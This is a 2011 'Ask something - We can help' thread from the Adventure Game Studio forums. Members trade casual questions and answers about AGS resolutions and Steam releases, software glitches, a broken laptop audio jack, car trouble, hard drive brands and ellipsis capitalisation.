I also mispelt "misspelled"
I also misspelt "mispelt"

On a totally unrelated note:  I'm glad he changed his avatar, the old one (with the weird guy holding a puppet) was weirding me out. :-)

That was the most awesome avatar! Apparently you've never seen RedDwarf. Anyhow, you're acting strangely a lot lately. Posting like a total maniac. I'm fine with posting, and I'm not the one to judge anyone's posting, but I just wanted to say that, cause you didn't use to act that way. Now you seem to be overexcited about something. Just that, don't be angry or anything, you know I like you. Just wanted to say that after seeing your epic triple post :P
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 14 Jan 2011, 13:56
That was the most awesome avatar! Apparently you've never seen RedDwarf.

Well because of him I googled it some time ago. But it doesn't make it less freaky :-)

you're acting strangely a lot lately. Posting like a total maniac

Just to clarify: My very last post was just to say "Thanks" (because I believe it's not cool to ask for something and then omit to aknowledge the answer that was kindly given).
Also, the reason why I asked what happened to MrFlibble was not just to comment on his Avatar, I had something to tell him.

I must admit, though, that my posting has changed a bit. Since it seems weird to you (and many others, according to the response I've been having lately), then here is a non-exhaustive list of reasons :
- I've been living in Ireland for 3 years and I still can't get used to the English-speaking way of interacting (passive-agressive rather than bursting anger like we Latin poeple do when we disagree). That reflects in my posts, as I've started perceiving it in written interactions (in the past, I had no clue, so I was more happy-go-lucky).
- Sadly, even though I master the English grammar, I still don't master my written tone, therefore I've got this skill to immediately offend everybody about anything on forums. That's depressing, believe me.
- That Gobliins post was indeed out of the blue, I was exhilerated by the tune
- I'm excited by the progress of the Dune Revival project
- I'm frustrated by the total stagnation of the AGSH project, and the fact that it will become completely useless the day the community will start refactoring the Engine if ti becomes open-source (the clock is ticking!)
- I'm bored in my job.

I'm in no way starting a conversation about my private life - But like any sane person, I feel like I have to explain when someone openly tells me "hey, you act like a weirdo". I'm in no way offended, but rather grateful that you tell me.


PS: What triple-post?
Title: Re: Ask something - We can help.
Post by: Dualnames on 14 Jan 2011, 14:11
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=36356.msg565235#msg565235

This one, btw I can't believe I've ever had a more satisfying and full answer in my life.  So just for that, cheers.  :D
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 14 Jan 2011, 14:16
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=36356.msg565235#msg565235
This one

Oh, OK.
First one = an answer for some dude
Second one = Thanks for answering my own question
Third one = A new question

I have a tendency to post several times when it's about unrelated things. Moderators have often blamed me for that bad habit. I'm taking some pills to fight it ;)
Title: Re: Ask something - We can help.
Post by: tzachs on 14 Jan 2011, 14:25
Monsieur, I actually kind of like it when you sometimes post 'frantically' and sometimes you're relaxed. You're unpredictable, and that makes you an interesting character.
In the same way as Dualnames is also unexpected...

I also liked the Gobliins post, and enjoyed the music, it was nostalgic. I didn't reply because I didn't have anything productive to add to that, it didn't mean that I didn't appreciate your post.
Carry on with the good work!
Title: Re: Ask something - We can help.
Post by: Wyz on 15 Jan 2011, 03:04
- I'm frustrated by the total stagnation of the AGSH project, and the fact that it will become completely useless the day the community will start refactoring the Engine if ti becomes open-source (the clock is ticking!)

That is actually true, also I was planning on creating a STL implementation for AGS which would also be useless however:
The code will be useless, the ideas will not be, it would just mean you'll get to try them out directly on the engine! Wheeeee!  :D

I don't know if that makes you more, or less excited, it makes me very excited though.
Title: Re: Ask something - We can help.
Post by: Peder on 15 Jan 2011, 18:49
What song(s) is within this file?
http://www.collectmedia.net/klassisk.mp3

(Classical)
Title: Re: Ask something - We can help.
Post by: theo on 22 Jan 2011, 11:03
Is anything stopping me from making a game in AGS and selling it on steam?

If not, is anyone doing this?

If nothing is stopping, and no one is doing it, why is that?

Title: Re: Ask something - We can help.
Post by: ThreeOhFour on 22 Jan 2011, 11:17
If I remember correctly, both PuzzleBots and Time Gentlemen Please are both sold on Steam, both being AGS games.

I also seem to recall Dave Gilbert and Grim getting their applications to have the Blackwell games and Downfall respectively declined by Steam, but I very much doubt that has anything to do with the engine, my guess would be it had something to do with content.

There is a section in the manual regarding making commercial games, and the things you should know with regards to licensing, but this isn't directly Steam related.

So, yes, AGS games can be and are being sold on Steam - although they're sometimes a bit picky about who they accept, so this is another reason more people aren't doing so.

Edit: Also, I think Ben There, Dan That! is on Steam as a freebie, if I remember rightly. I don't actually use Steam, but I am quite sure this is the case (feel free to correct me if I am wrong here)
Title: Re: Ask something - We can help.
Post by: OneDollar on 22 Jan 2011, 13:59
Also, I think Ben There, Dan That! is on Steam as a freebie, if I remember rightly.

Ben There, Dan That! and Time, Gentlemen, Please! are sold as a double pack (Ben There, Dan That! being freely downloadable elsewhere). So it's sort of free, but only if you buy Time, Gentlemen, Please!.
Title: Re: Ask something - We can help.
Post by: Ascovel on 22 Jan 2011, 14:28
Besides TGP Steam also has Puzzle Bots.

I remember reading somewhere that the reason behind the fact so many games are outright rejected is because negotiating with Steam is such a lengthy, complicated (and apparently boring) process that even Steam itself is not keen on it. If you're a small indie, you need to dazzle them with important awards, or past financial successes, to get them invest their time in talking with you.
Title: Re: Ask something - We can help.
Post by: ThreeOhFour on 22 Jan 2011, 14:30
I did mention puzzle bots!  8)

But yes, I've also heard that getting a game on Steam can be a pretty tedious process.
Title: Re: Ask something - We can help.
Post by: Ascovel on 22 Jan 2011, 14:35
I did mention puzzle bots!  8)

Sorry Ben, my eyes must have been distracted by some passing Airwave.
Title: Re: Ask something - We can help.
Post by: ThreeOhFour on 22 Jan 2011, 14:38
*whoosh*  ;)
Title: Re: Ask something - We can help.
Post by: theo on 22 Jan 2011, 22:14
Steam does seem random in many ways.  :-\ Anyhow, thanks for your thoughts on this, guys! Confusingly enlightening!  ;D

So another question then: Many players have widescreen monitors, many don't. Is there a common solution to this issue when building AGS games? I'd like to be certain my assets aren't being squashed and stretched at random.
Title: Re: Ask something - We can help.
Post by: Ascovel on 22 Jan 2011, 22:23
So another question then: Many players have widescreen monitors, many don't. Is there a common solution to this issue when building AGS games? I'd like to be certain my assets aren't being squashed and stretched at random.

I'm troubled with that fact too - even the modern re-scaling low resolutions to full screen with proper aspect ratio technology sucks - it all goes blurry. :(

I guess, the only solution for not distorting the image without the user being able to temper with the settings is playing in windowed mode.

Speaking of which, I have my own related question... Most people have at least 1280x960 resolution capability in their monitors by now, right? So I can pretty safely spread Snakes with the default setting of windowed, 1280x960?
Title: Re: Ask something - We can help.
Post by: theo on 22 Jan 2011, 23:00
I can't even select 1280x960 in the general settings pane of my game. Can you? What am I doing wrong, lol?
I'd like to run my game at 1280x720. A nice resolution in my eyes. I wonder if monitors in general can handle it in full screen...

I think as long as you're going for windowed you're fine. Most people should be able to fit it onto their screen. I think it's a real shame not to run games in full screen though... For me, windowed really ruins the immersion.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 22 Jan 2011, 23:48
AGS supports 2 aspect ratios.

320x240 gives 4:3
320x200 gives 16:10

I recommend (if youre going low res) to go with 320x200 for 2 reasons:

1) alot of people have widescreen monitors with 16:10
2) If they dont letterboxing looks much nicer than pillar boxing.
Title: Re: Ask something - We can help.
Post by: Ascovel on 22 Jan 2011, 23:55
I can't even select 1280x960 in the general settings pane of my game. Can you? What am I doing wrong, lol?

You can multiply the resolution of your game by 2, 3, or 4 times in the winsetup file's settings.
Title: Re: Ask something - We can help.
Post by: Anian on 22 Jan 2011, 23:58
Well if it was movie, there would be no doubt, but since most games last longer than 90-120 minutes to playthrough, it wouldn't be very good for the monitor to have two black lines linger on after you played the game. (still "pillar boxing" looks better I think) On the other hand, as theo mentioned, windowed playing usually breaks immersion somewhat.
On some level, you might want to think about "the future" and the trend shows more people getting widescreen monitors, so I suggest going with widescreen and so people can play it in a few years as well.

[unimportant part]As tv program, it's silly when tv networks emmit 4:3 picture, when you basically can't buy a 4:3 tv for the past few years. To add to that, they make money from advertisements, so their target is people with money, people with money usually buy a new tv in some intervals...ok, ranting now, but the problem is I think that doesn't relate to pc monitors so much.
Adventure games with old style GUI actually profit from 4:3 since in the end the art is about 16:10 anyway, but GUI is minimizing all the time so the argument in modern games doesn't stand.[/unimportant part]
Title: Re: Ask something - We can help.
Post by: Wyz on 23 Jan 2011, 00:25
Different aspect ratios and resolutions is definitely a pain for developers., but I don't see that changing in the future. Well it will get worse since the net books and smart phones tent to have really irregular resolutions. It is particularly difficult for sprite art, since it does not stretch nicely and only scales nicely at regular intervals.
What we could do is detach the viewport from the background, that way we can sort of scroll the background and we do not need to stretch it (but do need to scale it 2x or 3x). AGS currently supports a few predefined resolutions, it would be nice if we could change it to an arbitrary resolution at even nicer if we could do it at run time. That way we could adjust everything in-game to this new resolution. Well, just thoughts... ;D
Title: Re: Ask something - We can help.
Post by: theo on 23 Jan 2011, 00:45
calin: yeah. 16:10 is both nice and common. I'm not after low res though. If 16:10 is the rule, I'd prefer it if I could chose 1280*800 as the resolution for my game. 640*400 doesn't really cut it.

ascovel: true, but I'm not after multiplying, I want the original dimensions to change.

anian: agreed. it's a mess!

wyz: I'd love that too. Let's keep on dreaming, lol.
Title: Re: Ask something - We can help.
Post by: Tuomas on 24 Jan 2011, 15:44
Time for you guys to help me. It's about OpenOffice, so if you know anything, please read further:


I wrote my bachelor's with OO 3.2.1... It's about 6200 words, so it's basically still a draft but anyway, I was supposed to send it to my teacher so that he could fix some grammatical errors. He though does not have OO on his work computer, so I saved as .docx which has always worked just fine.

But he couldn't edit the text file. He was able to paint over words or overline them, but not erase or add anything. Now that he sent ti back to me asking why it was protected, even I can't modify the text. Now I really would not want to write another 6200 words in German, I'd rather just edit what I already have, especially when the table of contents was such a hell to do with this program.

So anyone have an idea, what's wrong with this thing? I'm supposed to fix the errors and present it on wednesday, so I'm pretty much in a hurry. :(
Title: Re: Ask something - We can help.
Post by: MJL on 01 Feb 2011, 06:04
I'm looking for .Net framework 1.1 SDK but all links to M$ seem to be down. Or, will software that requires 1.1 SDK be okay using a newer version? Hmm.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 01 Feb 2011, 06:07
The framework is backwards compatible i think, so you should be ok.
Title: Re: Ask something - We can help.
Post by: Stupot on 01 Feb 2011, 12:39
My friend showed me this piece of music:


I immedately recognized it, but I know know where from.

I did a bit of digging, and found out that it is, or was, considered to be ambient or 'furniture' music, so I've probably heard it in an elevator or homewares store.  However, I'm CERTAIN I've heard it in a film or TV show (if not several), but can't think where.

My question is:  Off the top of your head, have you heard this peice on a film or TV show that I might have seen?

It apparently appears in a Korean drama called 'Windstruck' but that's not where I've heard it.
(can you apparently appear? haha)

Thanks
Title: Re: Ask something - We can help.
Post by: Peder on 01 Feb 2011, 14:11
Heard it LOADS of times, can't remember any movie names etc though sorry.
Title: Re: Ask something - We can help.
Post by: arj0n on 01 Feb 2011, 14:29
Check this: list of movies using Erik Satie Track [92] (http://www.imdb.com/name/nm0006273/filmoyear)
Title: Re: Ask something - We can help.
Post by: Stupot on 01 Feb 2011, 14:56
Haha, Arj0n that's epic.
I've definitely seen some of the things on that list and I can also announce that I remember hearing that song on the X-files...  Itch scratched, cheers man.
Title: Re: Ask something - We can help.
Post by: MJL on 01 Feb 2011, 16:10
The framework is backwards compatible i think, so you should be ok.

Thanks... any idea of a site thats non Microsoft that I can get it from?

Also any idea why the worlds biggest software company can't keep their website up and running? Or is microsoft.com completely defunct now?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 03 Feb 2011, 13:33
Crying for help : http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42746.0
Title: Re: Ask something - We can help.
Post by: Akatosh on 03 Feb 2011, 13:48
The framework is backwards compatible i think, so you should be ok.

Thanks... any idea of a site thats non Microsoft that I can get it from?

Also any idea why the worlds biggest software company can't keep their website up and running? Or is microsoft.com completely defunct now?

http://www.microsoft.com/en/us/default.aspx seems to be up again.
Title: Re: Ask something - We can help.
Post by: Domino on 05 Feb 2011, 23:03
I need some HELP!!

I cannot for the life of me find a way to save this Flash video onto my hard drive.

It is my dad's car that he just traded in, and the website has a Flash video of it, and my dad wants to have this video before they remove it when it sells.

I have tried all that I can to be able to retrieve this video and save it to send to him.

http://donreidford.com/cardetails.asp?VIN=JM1NC25F180140978#

The video is in the link provided. I really hope somebody can help me, because I want to make my dad happy. I tried different programs, using special add-ons to firefox, but it won't work.

Thank You to anybody that can help.

Domino
Title: Re: Ask something - We can help.
Post by: Babar on 05 Feb 2011, 23:15
The connection keeps timing out for me, so I can't see it, Dom.
I tried checking the google cache of the page, but that doesn't show any flash object.
Title: Re: Ask something - We can help.
Post by: Domino on 05 Feb 2011, 23:30
Maybe the link only works in the US.

Glad you at least tried Babar.  :)
Title: Re: Ask something - We can help.
Post by: Akatosh on 05 Feb 2011, 23:39
No, it works from Germany.

However, looking at the video and especially the source code of the page*... I'm not sure if this is something you CAN download. As far as I can see, the "movie" is generated from the pictures in the gallery - they're just enlargened and only parts are shown, creating the impression of a "video".

I might be mistaken, though.

(*Specifically, the slightly strange URL to the link. flash/moviegallery.swf?imageinfo=27,80140978,http://www.justcarwebsites.com/~donreidford/,flash/,blank.mp3,flash/background.png looks suspiciously like a general-purpose video generation file taking some arguments.)
Title: Re: Ask something - We can help.
Post by: Domino on 05 Feb 2011, 23:46
Yeah, when i was checking the source, it was only showing the images of the car.

Maybe, I should just use my camera to film it, then edit it.

Thanks for at least trying guys. Appreciate it.
Title: Re: Ask something - We can help.
Post by: Akatosh on 05 Feb 2011, 23:50
Sorry I couldn't really help.  :-\ In a fit, you could always download the individual images and put a small Flash movie together by hand, or something.
Title: Re: Ask something - We can help.
Post by: zabnat on 05 Feb 2011, 23:53
Download some screen recorder tool and record the video with it while displaying the page. Something like camtasia perhaps? I don't have lots of experience with these, I have only used VirtualDub to capture video.
Title: Re: Ask something - We can help.
Post by: Domino on 06 Feb 2011, 01:07
Problem solved. I just recorded it with my camera.

Thanks for helping.  :)
Title: Re: Ask something - We can help.
Post by: Que Tran on 06 Feb 2011, 11:21
Do I need to keep all of my receipts?
Title: Re: Ask something - We can help.
Post by: Tuomas on 06 Feb 2011, 16:28
No, not all of them.
Title: Re: Ask something - We can help.
Post by: Atelier on 08 Feb 2011, 18:28
Why does the moon shrink when you look at it through a camera?
Title: Re: Ask something - We can help.
Post by: Anian on 08 Feb 2011, 18:44
Why does the moon shrink when you look at it through a camera?
I think a quote from the pervious anwser would be in order here:

No, not all of them.
;D
Title: Re: Ask something - We can help.
Post by: (deleted) on 15 Feb 2011, 01:58
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Title: Re: Ask something - We can help.
Post by: Tuomas on 18 Feb 2011, 11:45
Good question.

Dutch is in fact very close to German, well, both are Germanic languages. The difference is, that at one point, when the German language developed so, that certain diphthongs, such as ei, eu, äu were pronounced as differently, where as in Dutch most letters are pronounced the way they're written. The Dutch also have only 2 genders, one for he and she, and one for it, whereas German has der, die & das. There are quite a lot of differences between German and Flemish, but they do look the same. The thing is though, I bet most Germans could easily read a text written in Flemish, they couldn't understand it spoken. There's a funny classic story about this written by Johann Peter Hebel from 1808 called Kannitverstan.

In the story, a German man is in Amsterdam(?) for the first time and can't understand anyone. He finds beautiful, gorgeous things and asks people, who does this belong to. People always answer "kannitverstan", which ist the equivalent of the German "kann nicht verstehen", which means "I don't understand". But he doesn't understand it even though the pronounciation is close - he thinks this Kannitverstan is a happy, rich man who own everything.

Ok, I don't speak German as a native language, I just study Germanic languages, so I can't really say if some people find it easy or hard to understand on another. But I know a lot of Dutch people who speak good German.
Title: Re: Ask something - We can help.
Post by: Tuomas on 18 Feb 2011, 11:52
I'm going to double post because I have my own question:

My green audio jack (hole) popped off the motherboard of my laptop. It's just loose there, and rattled for a while, but now nothing works. There's a connection failure (no shit), and it claims, that I have a plug connected to it. That's why it sends the sound into imaginary earplugs and not the laptop speakers. I should believe, that it were possible to just go around the green jack and play everything through the speakers.

They're both controlled by the same driver, so uninstalling the earplug driver didn't help. Yes, I know, I should buy an USB-audio card or something, but for that, I'd have to go a long way, there's no electronics stores in the centre, or the ones there are are dead expensive.

Well, nevertheless, any suggestions how to disable the hole in the front and to use the speakers? I realised this silence is killing me, especially when people keep linking me youtube videos.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 18 Feb 2011, 13:47
Why does the moon shrink when you look at it through a camera?

This is only a hypothesis:
When you watch it with your real eyes, you have a certain angle of vision. That is, you can see the moon and stuff on its right and on its left. However your brain has atendency to igonre that side information.
But the camera takes everything that's within the angle and projects it "as is" onto the picture. Once you see the scene 2D, your brain doesn't filter anything out, and the moon appears as a tiny element part of a wider scene.

Long things shoirt: I don't think it has mainly a geometric cause, I'd say it's more of an information processing illusion caused by your eye/brain.

Then again, I might be wrong, I got this answer from the top of my head.
Title: Re: Ask something - We can help.
Post by: zabnat on 18 Feb 2011, 21:18
My green audio jack (hole) popped off the motherboard of my laptop...
Open it, check if the jack is fixable, probably not, and then take the whole jack out. If the machine says that plug is connected there might be a short circuit or something. This should be fixed when the whole jack is removed from the motherboard. If not, then the short has caused some damage to the board and the only thing left to do is probably getting that USB-audio.

Why does the moon shrink when you look at it through a camera?
Moon also shrinks when it goes up in the sky. When the moon is near the horizon its huge, but when it's directly above its tiny. This is a common illusion and I bet with a camera illusion breaks. See wikipedia about moon illusion. (http://en.wikipedia.org/wiki/Moon_illusion)
Title: Re: Ask something - We can help.
Post by: movti on 20 Feb 2011, 14:28
i need your help finding an ags game which was released about 3 to 4 years ago.
generally it was a comedy game. there was a pipe smoking moon and as i remember there was blues music during the game. unfortunately i can't remeber anything else atm but i guess you'll know which one i mean.

think i found it... the long trip
Title: Re: Ask something - We can help.
Post by: MJL on 20 Feb 2011, 16:17
Every time I use Hotmail it freezes and I get this error:

Quote
Script: https://js2.wlxrs.com/_D/F$Live.SiteContent.Messenger/4.2.61210/release/Microsoft.Live.Core.LocalStorage.FF.js:39

In Firefox, is there a way to disable this script/all scripts somehow? Thanks
Title: Re: Ask something - We can help.
Post by: Tuomas on 20 Feb 2011, 17:40
My green audio jack (hole) popped off the motherboard of my laptop...
Open it, check if the jack is fixable, probably not, and then take the whole jack out. If the machine says that plug is connected there might be a short circuit or something. This should be fixed when the whole jack is removed from the motherboard. If not, then the short has caused some damage to the board and the only thing left to do is probably getting that USB-audio.

yeah, I opened the whole thing, but realised the jack was under the motherboard, so I couldn't get to it. Soooo... I took my spike and hammered the thing in. The only problem, my HD connection is just right behind it, so I don't want to mess up the whole 'mputer. Anyway, the green stuff and a metal ring fell out of it, all shattered. Sadly it didn't work. But, at least my laptop still works, though now it's got a hole in the front panel.
Title: Re: Ask something - We can help.
Post by: arj0n on 20 Feb 2011, 21:27
Every time I use Hotmail it freezes and I get this error:

Quote
Script: https://js2.wlxrs.com/_D/F$Live.SiteContent.Messenger/4.2.61210/release/Microsoft.Live.Core.LocalStorage.FF.js:39

In Firefox, is there a way to disable this script/all scripts somehow? Thanks

NoScript (https://addons.mozilla.org/en-US/firefox/addon/noscript/)
Title: Re: Ask something - We can help.
Post by: WHAM on 20 Feb 2011, 21:32
yeah, I opened the whole thing, but realised the jack was under the motherboard, so I couldn't get to it. Soooo... I took my spike and hammered the thing in. The only problem, my HD connection is just right behind it, so I don't want to mess up the whole 'mputer. Anyway, the green stuff and a metal ring fell out of it, all shattered. Sadly it didn't work. But, at least my laptop still works, though now it's got a hole in the front panel.

From my own experience as a Fujitsu Siemens warranty techie, the situation is like this:
You need a new motherboard, which costs a lot of money. If you take it in for warranty, they will most likely state, that the damage is due to "physical damage" and not covered by warranty, as in most cases such damage is caused by having an audio plug connected while transporting the laptop, which causes bending, stress and breaking.

I would recommend disablind the integrated audio chip altogether and getting a separata USB sound "card" if at all possible. Cheapest and easiest solution.

EDIT: Oh, and about the hole: red or black (whichever colour you prefer) electricians tape. Keeps dust out and sticks forever.
Title: Re: Ask something - We can help.
Post by: MJL on 20 Feb 2011, 23:48
Every time I use Hotmail it freezes and I get this error:

Quote
Script: https://js2.wlxrs.com/_D/F$Live.SiteContent.Messenger/4.2.61210/release/Microsoft.Live.Core.LocalStorage.FF.js:39

In Firefox, is there a way to disable this script/all scripts somehow? Thanks

NoScript (https://addons.mozilla.org/en-US/firefox/addon/noscript/)

Cheers Arjon!
Title: Re: Ask something - We can help.
Post by: theo on 22 Feb 2011, 11:45
The new version of JD will be featuring characters with nice fancy 24 bit alpha transparencies. Being rather frame-heavy, this will most likely leave the game immensely large (mb wise). Is there some easy way of compressing these assets? "Compress the sprite file" yields no results, and I see no point trying to compress them before sticking them into AGS.

edit: to my great relief I just noticed the game compresses beautifully when I zip the whole thing. I guess file size while unzipped isn't really a big issue nowadays so maybe there's no cause for alarm. Any thoughts?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 22 Feb 2011, 11:50
Whats will all the compression questions recently? We've had like 3 in 3 days.

anyway : BAM http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42929.msg570050#msg570050

and BAM http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42849.0

BAM again http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42865.0
Title: Re: Ask something - We can help.
Post by: theo on 22 Feb 2011, 11:56
lolz I just did some searching and these came up. I'll try to remember to do my research before asking next time. Thanks:)
Title: Re: Ask something - We can help.
Post by: WHAM on 02 Mar 2011, 15:34
What is wrong with my car?

I have a 1999 Peugeot 4D 406 SEDAN 2.0I, which has developed some kind of screeching syndrome.
The engine makes a screeching noise that gets louder as the revs go up. The noise approximately doubles in strength if the steering wheel is turned, and I can feel slight tugging on the wheen as I turn.

Wait, what forum am I on again?

This isn't the peugeot forums!

. . .

Oh well... *click*
Title: Re: Ask something - We can help.
Post by: Tuomas on 02 Mar 2011, 15:41
Sounds like you should go and change your timing belt as quick as possible. Though I'm no mechanic, but I can ask my step bro, he's a professional. :)
Title: Re: Ask something - We can help.
Post by: WHAM on 02 Mar 2011, 15:43
Sounds like you should go and change your timing belt as quick as possible. Though I'm no mechanic, but I can ask my step bro, he's a professional. :)

And THAT's what I like about the AGS community. A place for anything and everything! =D
Title: Re: Ask something - We can help.
Post by: mode7 on 02 Mar 2011, 16:37
Do you have servo steering? I know little about cars myself but the hint with the steering wheel could mean that it's the pump of the servo steering.
Depends if its really loud so you can hear it from far away it could also be the V-Belt rather than the timing belt. The later would probably very expensive to fix.
Title: Re: Ask something - We can help.
Post by: WHAM on 02 Mar 2011, 17:06
I've been reading peugeot forums and the symptom seems to point towards the servo steering. It seems that it may start to leak some oil, or the tubes begin to crack / leak, letting air into the system.

We've been having -30C temperatures for weeks and now we've had -3 to -7C temps for a couple of days, so that may have caused issues as well.

I've also contacted a car repair shop to see if they can take a look at it ASAP.
Title: Re: Ask something - We can help.
Post by: Mati256 on 10 Mar 2011, 00:02
Hello!
I am thinking in buying a 500GB External Hard Drive.
I have two options, Hitachi and Samsung. I know Samsung is a well known brand in TV and other stuff, are their HD good to? Hitachi is a lot cheaper.  ;D
Are there any computer geeks with an opinion on this subject?
Title: Re: Ask something - We can help.
Post by: Anian on 10 Mar 2011, 02:00
I'm looking at a crossroad in my life and while I want to go study abroad (mostly UK, USA etc.) and the requirement is usually some certificate that rates your knowledge of english language. Mostly it's connected to Cambridge evaluations, and as far as I could figure TOEFL and Cambridge ESOL (CAE and CPE) are the ones that are most wanted/worth. But it seems TOEFL is worth more in universities (at least in Europe) but it lasts for 2 years (why a time limit? I have no idea, probably money and greed) and CAE supposedly goes in a CV and can be used when seeking employment.

So, I'm wondering, if somebody has experience with it, how are CAE certificates generally accepted in UK/USA universities? (you can pm as well)
Title: Re: Ask something - We can help.
Post by: Moresco on 10 Mar 2011, 02:21
Hello!
I am thinking in buying a 500GB External Hard Drive.
I have two options, Hitachi and Samsung. I know Samsung is a well known brand in TV and other stuff, are their HD good to? Hitachi is a lot cheaper.  ;D
Are there any computer geeks with an opinion on this subject?

I think it depends somewhat on the model, but for the most part I would avoid Samsung....and Hitachi if there are any other options?  Otherwise, just as a shot in the dark because they're both pretty much as good, I'd go with Hitachi.  I've had several Samsung drives, all with one sort of problem or another.  If you can find a Western Digital or Seagate, might be better choices.  That's all based on experience with those drives.   Sadly, even the best company will now and then put out a dud.  Do a research on the model number for both drives you are considering.  Google them and you'll get feedback.
Title: Re: Ask something - We can help.
Post by: Dataflashsabot on 12 Mar 2011, 17:46
If a sentence of speech begins with an ellipsis, is it correct to capitalise its first letter?
Quote
"...maybe not."
or
Quote
"...Maybe not."
?
Title: Re: Ask something - We can help.
Post by: MJL on 15 Mar 2011, 02:49
If anyone from Mittens spain (benidorm) passes this, can you please remind me what we did when we went to Barcelona. I remember bars, having a stroll, and then I just remember being in a car the next day heading toward Peniscola. Where did we stay in Barcelona? Or did we just walk about all night? This is troubling me. :P
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 15 Mar 2011, 09:09
If a sentence of speech begins with an ellipsis, is it correct to capitalise its first letter?
Quote
"...maybe not."
or
Quote
"...Maybe not."
?

I couldn't tell for sure in English, but if it's the same as in French, then in theory, you're not supposed to start a sentence with "...". This is some incorrect syntax inherited from the comic books. Having said that, let's accept this form and let's pretend that we don't see the suspension dots. Then it's your regular sentence : "Maybe not." (then again this can be tolerated only in a dialog, as all sentences are supposed to contain a verb, except for a few exceptions).

Since it's a sentence, then yes, you start it with a capital letter.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 15 Mar 2011, 10:45
I've been reading peugeot forums and (...) it seems that it may start to leak some oil. We've been having -30C temperatures for weeks.

HEY! We build our cars to carry around loads of cheese! Not to go out in Siberia! You crazy abominable dude!
Title: Re: Ask something - We can help.
Post by: Wyz on 15 Mar 2011, 12:47
If a sentence of speech begins with an ellipsis, is it correct to capitalise its first letter?
"...maybe not." or "...Maybe not."?

The ellipsis indicated that something has been left out, if you start a sentence with "..." you are telling you've left out the beginning of the sentence. Since this would also have contained the cap you should continue lowercase after the ellipsis.
However, as Mister Ouxx pointed out, sometimes it is used in comic books to indicate a pause, in that case the beginning of the sentence isn't left out so it should start with a cap. Though you could wonder if you should use the ellipsis at all in that case. :P
Title: Re: Ask something - We can help.
Post by: Dataflashsabot on 15 Mar 2011, 19:43
I couldn't tell for sure in English, but if it's the same as in French, then in theory, you're not supposed to start a sentence with "...". This is some incorrect syntax inherited from the comic books. Having said that, let's accept this form and let's pretend that we don't see the suspension dots. Then it's your regular sentence : "Maybe not." (then again this can be tolerated only in a dialog, as all sentences are supposed to contain a verb, except for a few exceptions).

Since it's a sentence, then yes, you start it with a capital letter.


The ellipsis indicated that something has been left out, if you start a sentence with "..." you are telling you've left out the beginning of the sentence. Since this would also have contained the cap you should continue lowercase after the ellipsis.
However, as Mister Ouxx pointed out, sometimes it is used in comic books to indicate a pause, in that case the beginning of the sentence isn't left out so it should start with a cap. Though you could wonder if you should use the ellipsis at all in that case. :P

It's speech for an AGS game, after a character tries something stupid. The ellipsis is indeed there to provide a pause, comic book-style; it's not to imply a prepended 'or'. So from the advice here, it's correct to capitalise, but somehow it 'feels' better without, so I might take some liberty. I dunno. Thanks!
Title: Re: Ask something - We can help.
Post by: bicilotti on 15 Mar 2011, 21:10
[quote author=Dataflashsabot link=topic=36356.msg572469#msg572469
It's speech for an AGS game, after a character tries something stupid. The ellipsis is indeed there to provide a pause, comic book-style; it's not to imply a prepended 'or'. So from the advice here, it's correct to capitalise, but somehow it 'feels' better without, so I might take some liberty. I dunno. Thanks!
[/quote]

Why don't you just get rid of the ellipsis and use a pause ingame. AGS allows that and you'd be grammar compliant!
Title: Re: Ask something - We can help.
Post by: Wyz on 15 Mar 2011, 23:39
Yes, AGS is equiped with it actually:
Code: Adventure Game Studio
  1. player.Say("...");
will result in a pause.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 18 Mar 2011, 10:07
Seriously, the fact that you choose to write comic-style puts you in a situation OUTSIDE of regular grammar rules. Therefore you may capitalize or not. Your rules.

And maybe in 100 years some linguists will trace back the origins of some very formal capitalization rules from your game :-D
Title: Re: Ask something - We can help.
Post by: Abisso on 18 Mar 2011, 17:10
Hello!
I am thinking in buying a 500GB External Hard Drive.
I have two options, Hitachi and Samsung. I know Samsung is a well known brand in TV and other stuff, are their HD good to? Hitachi is a lot cheaper.  ;D
Are there any computer geeks with an opinion on this subject?

I've had bad experiences with Maxtor which now's been acquired by Seagate, and good experience with Hitachi. I'm neutral towards WD since I've only used my external WD hard disk just a few times, and I've never known Samsung sold hard disks too.

My suggestion is to buy two cheap ones, and regularly mirror them. The only safety is in duplication.

*his mind goes to that time he had to manually rename 60.000 files miraculously recovered from his broken hard disk*
Title: Re: Ask something - We can help.
Post by: zabnat on 19 Mar 2011, 22:47
If a sentence of speech begins with an ellipsis, is it correct to capitalise its first letter?
Quote
"...maybe not."
or
Quote
"...Maybe not."
?
As others have said there is no proper grammar for it. But I would go with lower case. Because how I see it an ellipsis breaks the sentence therefore when beginning the line with an ellipsis it would be continuation for the previously broken sentence and should be lower case. That is how I see it. I am not a native speaker so this could be just guessing.

My suggestion is to buy two cheap ones, and regularly mirror them. The only safety is in duplication.
Seconded. Hard drives today are so cheap that you can easily afford buying them double for you invaluable files.
Title: Re: Ask something - We can help.
Post by: Moresco on 20 Mar 2011, 02:27

*his mind goes to that time he had to manually rename 60.000 files miraculously recovered from his broken hard disk*

60,000?!??! dear god man! I would have given up after 1000 files.
Title: Re: Ask something - We can help.
Post by: Abisso on 20 Mar 2011, 10:49

*his mind goes to that time he had to manually rename 60.000 files miraculously recovered from his broken hard disk*

60,000?!??! dear god man! I would have given up after 1000 files.

Well, not exactly 60.000, to be honest. Some of them were automatically restored with their extension too, thanks to a life-saving application. But surely more than 10.000. The event stole my will to create AGS games too (since I was been able to recover game development files just partly), and still, 5 years after the accident, I haven't created anything else.

